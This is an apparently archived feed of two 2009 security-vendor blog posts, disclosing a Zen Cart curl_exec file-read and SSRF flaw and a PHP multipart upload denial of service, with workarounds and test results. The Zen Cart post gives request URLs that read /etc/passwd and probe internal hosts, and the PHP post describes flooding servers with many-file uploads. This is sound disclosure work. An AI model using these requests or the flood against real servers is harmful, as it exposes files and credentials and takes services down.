			<content:encoded><![CDATA[<p>Recently we&#8217;ve released a new build, build number <a href="http://www.acunetix.com/blog/productnews/acunetix-wvs-version-6-5-build-20091124-released/">20091124</a>. This build includes a new <a href="http://www.acunetix.com/blog/category/acusensor-technology/">AcuSensor</a> check named &#8220;curl_exec() url is controlled by user&#8221;. This new check will verify if the user can control the URL passed to <strong>curl_exec</strong>.</p>
<p>In case you are not familiar with <strong>curl</strong>, below is a short abstract about curl taken from <a href="http://www.php.net/manual/en/intro.curl.php" target="_blank">PHP&#8217;s manual</a>:</p>
<blockquote><p><em>PHP supports libcurl, a library created by Daniel Stenberg, that allows you to connect and communicate to many different types of servers with many different types of protocols. libcurl currently supports the http, https, ftp, gopher, telnet, dict, file, and ldap protocols. libcurl also supports HTTPS certificates, HTTP POST, HTTP PUT, FTP uploading (this can also be done with PHP&#8217;s ftp extension), HTTP form based upload, proxies, cookies, and user+password authentication.</em></p></blockquote>
<p>Usually, curl is used to connect and retrieve data from a remote URL using the http protocol. However, curl supports a bunch of protocols as you can see in the description above.  One of these protocols is the <strong>file</strong> protocol. Using this protocol you can read local files by using an URL like <strong>file:///etc/passwd</strong>.  Therefore, if the user can control the URL passed to curl_exec, in some cases (if the content is echoed back) it can read local files.</p>
<p>While testing this new AcuSensor check on different applications, I&#8217;ve found a real-life example of a vulnerable application.  I&#8217;m talking about <a href="http://www.zen-cart.com/" target="_blank">Zen Cart</a>.  Acunetix WVS issued the following alert:</p>
<p style="text-align: center;"><img class="size-full wp-image-950  aligncenter" title="curl_exec_zen_cart" src="http://www.acunetix.com/blog/wp-content/uploads/2009/12/curl_exec_zen_cart.PNG" alt="curl_exec_zen_cart" width="532" height="517" /></p>
<p>From <a href="http://en.wikipedia.org/wiki/Zen_Cart" target="_blank">Wikipedia</a>:</p>
<blockquote><p><strong>Zen Cart</strong> is an open source online store management system. It is PHP-based, using a MySQL database and HTML components. Support is provided for several languages and currencies, and it is freely available under the GNU General Public License.</p></blockquote>
<p>Zen Cart contains a directory named <strong>extras </strong>where there are different test scripts. One of these scripts is <strong>curltest.php</strong>. This script is used for testing is the curl PHP library is installed and is working properly.</p>
<p>The source code of this script looks like this (only relevant pieces of code are shown):</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-947" title="zen_cart_code" src="http://www.acunetix.com/blog/wp-content/uploads/2009/12/zen_cart_code.PNG" alt="zen_cart_code" width="569" height="531" /></p>
<p style="text-align: left;">As you can see above, the URL passed to the curl_setopt (CURLOPT_URL) function and later used by curl_exec comes from user input ($_GET['url']).</p>
<p style="text-align: left;">Also, the file contents (saved in the $result) are echoed back to the user. Therefore we cane read the contents of any file from the remote server.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-964" title="zen_cart_curl_etc_passwd" src="http://www.acunetix.com/blog/wp-content/uploads/2009/12/zen_cart_curl_etc_passwd1.PNG" alt="zen_cart_curl_etc_passwd" width="537" height="510" /></p>
<p style="text-align: left;">
<p style="text-align: left;">As you can see in the screenshot above, it&#8217;s possible to read the contents of the /etc/passwd file.</p>
<p style="text-align: left;">However, the extras directory contains other test scripts. One of them, named <strong>ipn_test_return.php</strong>, is not properly written and will display an error message when called directly:</p>
<p style="text-align: left;">If you issue a request like <a style="color: #006699; text-decoration: none;" rel="nofollow" href="http://bld02/zen-cart/extras/ipn_test_return.php" target="_blank">http://bld02:80/zen-cart/extras/ipn_test_return.php</a><br />
you will receive the following error message:</p>
<p>&lt;br /&gt;<br />
&lt;b&gt;Fatal error&lt;/b&gt;: require() [&lt;a href='function.require'&gt;function.require&lt;/a&gt;]: Failed opening required &#8216;includes/application_top.php&#8217; (include_path=&#8217;.:/usr/share/php:/usr/share/pear&#8217;) in &lt;b&gt;/var/www/bld/bld02/zen-cart/extras/ipn_test_return.php&lt;/b&gt; on line &lt;b&gt;14&lt;/b&gt;&lt;br /&gt;</p>
<p style="text-align: left;">This error message reveals the local path, so now we know where the application is installed. This could be useful to read the contents of the configuration file (includes/configure.php). This file contains the database credentials. If the Zen Cart database is not stored on the local server, it&#8217;s possible to access the database remotely.</p>
<p style="text-align: left;">Also, even without the file:// protocol, it&#8217;s possible to access hosts behind the firewall by issuing requests like</p>
<p>http://bld02/zen-cart/extras/curltest.php?url=http://192.168.0.1 or</p>
<p>http://bld02/zen-cart/extras/curltest.php?url=http://192.168.1.1.</p>
<p>The vendor released a security alert after being notified by us. They advise users to completely remove the extras directory as it&#8217;s not required by Zen Cart and it was distributed only for troubleshooting.</p>
<p>The security alert can be found <a href="http://www.zen-cart.com/forum/showthread.php?t=142784" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/acusensor-curl-and-zen-cart/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>PHP &#8220;multipart/form-data&#8221; denial of service</title>
		<link>http://www.acunetix.com/blog/news/php-multipartform-data-denial-of-service/</link>
		<comments>http://www.acunetix.com/blog/news/php-multipartform-data-denial-of-service/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 12:07:34 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=882</guid>
		<description><![CDATA[PHP version 5.3.1 was just released. This release contains a patch for a denial of service condition we&#8217;ve reported some time ago.
The problem is related with PHP&#8217;s handling of RFC 1867 (Form-based File Upload in ...]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">PHP version 5.3.1 was just released. This release contains a patch for a denial of service condition we&#8217;ve reported some time ago.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">The problem is related with PHP&#8217;s handling of RFC 1867 (Form-based File Upload in HTML).</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">When you send a POST request to a PHP script with the content-type of &#8220;multipart/form-data&#8221; and include a list of files in that request, PHP will create a temporary file for each file from the request.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">PHP will create those files regardless if the script can handle file uploading or not.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">After the script was executed, the temporary files will be deleted.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">The problem is that you can include a very large number of files in the request.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">PHP will need to create those files before the script is executed and delete them afterwards.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">The denial of service condition appears when you create a bunch of requests, each containing a large number (15000+) of files.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">When you send these requests to the web server, the web server collapses and stops responding becasue it has to process (create &amp; delete) an insane number of files in a very short period of time.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Any website that runs PHP and where file uploading is enabled (which is the default configuration) is vulnerable.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">You don&#8217;t need to have a file upload script.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">PHP does include 2 configuration settings that are related to this situation: upload_max_filesize and post_max_size.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">However, these are not enough to protect us against this denial of service attack.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Workarounds</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">&#8212;&#8212;&#8212;&#8212;</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Currently, I&#8217;m aware of three workarounds for this problem:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">1. Disable file uploads</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">If you don&#8217;t need file uploading, you can disable this feature from php.ini</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">file_uploads = Off</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">2. Install PHP 5.3.1</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">If you cannot disable file uploading on your website, it&#8217;s recommended to install the latest version of PHP.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">PHP 5.3.1 includes a patch for this problem:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">- Added &#8220;max_file_uploads&#8221; INI directive, which can be set to limit the number of file uploads per-request to 20 by default, to prevent possible DOS via temporary file exhaustion.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">3. Install Suhosin PHP extension</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">The Suhosin PHP extension has an option named &#8220;suhosin.upload.max_uploads&#8221;.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">This option defines the maximum number of files that may be uploaded with one request and by default is set to 25.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Suhosin PHP extension should not be confused with the Suhosin Patch which does not protect against this attack.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Quote from the hardened-php website:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">&#8220;Suhosin comes in two independent parts, that can be used separately or in combination.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">The first part is a small patch against the PHP core, that implements a few low-level protections against bufferoverflows or format string vulnerabilities and the second part is a powerful PHP extension that implements all the other protections.&#8221;</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">It&#8217;s recommended to apply one of the workarounds described above as soon as possible.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Bellow are some conclusions I&#8217;ve gathered from testing this on different systems.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Conclusions and real life results</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">This attack can make the web server unresponsive in a short period of time (under 2 minutes) with a very small number of requests.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Also, this attack doesn&#8217;t leave any obvious tracks in the logs (only a bunch of POST requests) and can be executed through a proxy server.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Some operating systems will handle this condition very badly.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">For example in one case (a FreeBSD 7.1), the network stack completely crashed and the server was unreachable from the local network.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">I had to manually restart it from the console.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">On Linux (Ubuntu), the web server will not be reachable for hours after being attacked for 1-2 minutes.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Real life results:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">1. PHP on Linux (Ubuntu 8.10)</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">=============================</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">PHP Version 5.2.6-2ubuntu4.3</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Timeline:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">14:50 &#8211; started the attack</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">14:51 : web server is no longer responsive.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">load average: 102.02, 30.68, 10.68</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">14:52 :  web server is not responsive.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">load average: 129.95, 49.29, 18.05</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">14:52 &#8211; attack is aborted</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">14:53 &#8211; web server is not responsive.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">load average: 143.58, 67.90, 26.41</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">14:54 &#8211; web server is not responsive.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">load average: 149.60, 89.58, 37.93</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">16:05 &#8211; web server is not responsive.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">load average: 151.64, 120.91, 60.94</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">I wanted to check how many temporary files were created:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">$ls -la /tmp/php* | wc -l</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">-bash: /bin/ls: Argument list too long</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">0</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">I&#8217;ve created a script to count the files:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">$php count_files_from_dir.php /tmp/php*</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">2.419.649</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">So, one hour later, the web server is not responsive and there are 2.419.649 temporary files.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">If you restart the web server, these files are not deleted.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">2. PHP on FreeBSD 7.2</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">======================</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">PHP Version 5.2.9</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Timeline:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">14:00 &#8211; attack is started.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">14:01 &#8211; web server is no longer responsive (Chrome message: Error 101 (net::ERR_CONNECTION_RESET): Unknown error.))</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">load average: 87:22, 22.61, 9.9</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">14:02 &#8211; attack is aborted.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">14:06 &#8211; web server is no longer responsive.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">load averages: 45.42, 42.35, 22.59</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">14:11 &#8211; web server is not responsive.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">load averages: 26.77, 35.78, 23.49</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">The system is slowed down to a crawl.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Basically you cannot even write a command in a remote PUTTY session.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">14:17 &#8211; web server is not responsive.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">The console is continuously displaying kernel error messages like:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">swap_pager_getswapspace(2): failed</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">swap_pager_getswapspace(16): failed</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">swap_pager_getswapspace(3): failed</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">&#8230;</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">pid 61248 (httpd), uid 80 inumber 5 on /var: out of inodes</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">pid 61251 (httpd), uid 80 inumber 5 on /var: out of inodes</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">pid 61146 (httpd), uid 80 inumber 5 on /var: out of inodes</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">pid 61103 (httpd), uid 80 inumber 5 on /var: out of inodes</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">pid 61063 (httpd), uid 80 inumber 5 on /var: out of inodes</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">pid 61101 (httpd), uid 80 inumber 5 on /var: out of inodes</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">&#8230;</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">14:23 &#8211; web server is responsive.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">load averages:  0.79, 29.10, 37.13</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">I was trying to count the number of temporary files from the server:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">$ls -la /var/tmp/php* | wc -l</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">-bash: /bin/ls: Argument list too long</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">0</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">$ls -la /var/tmp/php</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Display all 117490 possibilities? (y or n)</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">So, there are 117490 temporary files left on the server.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">One another FreeBSD 7.1 server I&#8217;ve had a very weird situation:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">After one minute the network stack crashed and the server was unreachable from the local network.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">I had to manually restart the network interface from the console.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">The message log contains error messages like:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Oct 23 10:55:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Oct 23 10:56:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Oct 23 10:57:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Oct 23 10:58:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Oct 23 10:59:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Oct 23 11:00:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Oct 23 11:01:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Oct 23 11:02:17 daemon kernel: Approaching the limit on PV entries, consider increasing either the vm.pmap.shpgperproc or the vm.pmap.pv_entry_max tunable.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">3. PHP on Windows: XAMPP</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">=========================</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">XAMPP for Windows setup filename:  xampp-win32-1.7.2.exe</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">PHP Version 5.3.0</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Timeline:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">12:30 &#8211; started the attack</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">12:30 + few seconds: CPU usage =&gt; 100%</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">In a few seconds, the web server is not responding anymore, 65535 temporary files are created and no more files could be created anymore.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">on XAMPP on Windows, PHP is creating the temporary files in C:\xampp\tmp (if your XAMPP installation was in C:\xampp\)</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">The filenames are named phpXXXX.tmp (where X&#8217;s charset is &#8216;a&#8217;-'z&#8217;, &#8216;A&#8217;-'Z&#8217;, &#8217;0&#8242;-&#8217;9&#8242;). Example: php1A00.tmp</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">This 4 char random number is a limitation of PHP on Windows.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">PHP on Unix is using 6 chars for its temporary filenames so it doesn&#8217;t reach this condition.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">12:31 &#8211; attack is aborted</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">12:39 &#8211; CPU usage is still 100%, web server is not responsive.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">13:08 &#8211; CPU usage is still 100%, web server is responsive.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">14:08 &#8211; CPU usage is 97%</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">14:34 &#8211; CPU usage is 97%</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Two hours later the CPU usage didn&#8217;t get back to normal.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">However, the web server is responding.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">After I manually restart the Apache process, CPU usage gets back to normal.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">However, those 65535 temporary files were not deleted.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">4. PHP on OpenBSD 4.6</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">======================</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">PHP Version 5.2.10</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Timeline:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">12:00 &#8211; started the attack</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">12:00 + few seconds: CPU usage =&gt; 100%</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">12:01 &#8211; attack is aborted</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">12:01 &#8211; web server is no longer responsive.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">load averages: 120.42, 50.35, 20.59</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">12:04 &#8211; web server is no longer responsive.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">load averages: 147.17, 80.74, 36.46</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">The system is slowed down to a crawl.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">12:06 &#8211; web server is responsive.</div>
